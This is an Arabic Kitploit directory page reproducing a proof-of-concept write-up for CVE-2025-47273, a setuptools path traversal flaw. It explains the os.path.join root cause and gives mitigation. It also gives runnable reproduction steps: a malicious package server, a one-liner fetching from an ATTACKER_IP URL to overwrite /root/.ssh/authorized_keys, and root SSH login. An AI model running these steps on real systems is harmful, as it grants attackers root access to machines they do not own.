Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 هي ثغرة اجتياز مسار شديدة الخطورة في مكتبة setuptools ، وتحديدًا الإصدار 78.1.0 . | Kitploit
أدوات/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن سلسلة التوريدالتعلم والتعليم
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 هي ثغرة اجتياز مسار شديدة الخطورة في مكتبة setuptools ، وتحديدًا الإصدار 78.1.0 .

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-47273: setuptools الإصدار 78.1.0 - تجاوز المسار في setuptools.package_index

إخلاء مسؤولية

هذا الدليل الإثباتي (PoC) مخصص للأغراض التعليمية والتدقيق الأمني المصرح به فقط. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه المعلومات. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي.


تحليل الثغرة

CVE-2025-47273 هي ثغرة تجاوز المسار (Path Traversal) موجودة في وحدة package_index من مكتبة setuptools (الإصدار 78.1.0 والإصدارات الأقدم). تسمح الثغرة للمهاجم بكتابة ملف عشوائي عبر تقديم رابط مُعد خصيصًا إلى طريقة PackageIndex.download().

السبب الجذري: سلوك os.path.join()

ينبع الخلل من فخ شائع في دالة Python os.path.join(). وفقًا لوثائق Python:

إذا كان المكوّن مسارًا مطلقًا، يتم تجاهل جميع المكوّنات السابقة ويستمر الدمج من المكوّن المسار المطلق.

في الإصدار الضعيف من setuptools، يتم تحديد اسم الملف الوجهة عبر استخراج اسم من الرابط وضمه مع دليل مؤقت:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

إذا قدم المهاجم رابطًا يحتوي جزء اسم الملف فيه (بعد فك ترميز الرابط) على شرطة مائلة إلى الأمام /، فإن os.path.join تتجاهل البادئة tmpdir وتعيد المسار المطلق المقدم في الرابط.

مخطط تدفق الثغرة

root@kitploit:~
[ رابط يتحكم به المهاجم ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. فك ترميز الرابط
          v
[ اسم الملف المفكوك (name) ]
"/etc/passwd"
          |
          | 2. استدعاء الدالة الضعيفة
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. منطق os.path.join في بايثون
          v
[ المسار الناتج (filename) ]
"/etc/passwd"  <-- تم تجاهل /tmp/download_dir!

التأثير التقني

نظرًا لأنه يمكن التلاعب بالمسار الوجهة ليصبح مسارًا مطلقًا، يمكن للمهاجم كتابة محتوى عشوائي إلى أي موقع على نظام الملفات حيثما تمتلك العملية أذونات الكتابة.

سيناريوهات عالية التأثير:

  1. تصعيد الامتيازات: إذا كانت العملية التي تستخدم setuptools تعمل بامتيازات مرتفعة (مثل مثبت على مستوى النظام)، يمكن للمهاجم استبدال ملفات نظام حيوية مثل /etc/passwd أو /root/.ssh/authorized_keys أو /etc/shadow والعديد من الاحتمالات الأخرى...
  2. الثبات / تنفيذ التعليمات البرمجية عن بُعد (RCE): استبدال ملفات تكوين على مستوى المستخدم مثل ~/.bashrc أو ~/.ssh/authorized_keys أو حقن تعليمات برمجية في مكتبات Python الموجودة يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عن بُعد بشكل دائم.

إعادة الإنتاج (استبدال /root/.ssh/authorized_keys)

إعداد البيئة

الثغرة موجودة في الإصدار 78.1.0 من setuptools.

root@kitploit:~
pip install setuptools==78.1.0

1. إنشاء أزواج مفاتيح SSH في دليل poc

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. تشغيل الخادم الضار (جهاز المهاجم)

النص server.py يعمل كمؤشر حزم ضار. يقدم ملف الحمولة بغض النظر عن المسار المطلوب، والملف الذي نقدمه هو id_rsa.pub.

root@kitploit:~
python3 server.py 80

2. تشغيل الاستغلال (الجهاز المستهدف)

قم بتشغيل كتابة الملف باستخدام هذا الأمر، ثم يمكنك الدخول عبر SSH إلى الجذر باستخدام زوج المفاتيح الذي أعددته مسبقًا

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. أخيرًا، ادخل عبر SSH إلى الجهاز المستهدف كجذر باستخدام المفتاح الخاص الذي أنشأناه في الخطوة 1

root@kitploit:~
ssh -i id_rsa root@<target-ip>

التخفيف

تم معالجة الثغرة في الإصدار 78.1.1 من setuptools. يتضمن الإصلاح تنقية صارمة للمتغير name المستمد من الرابط لضمان عدم احتوائه على شرطة مائلة في البداية أو أحرف محرك أقراص قبل تمريره إلى os.path.join().

لتأمين بيئتك:

root@kitploit:~
pip install --upgrade setuptools

المراجع

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
تنزيل الأداة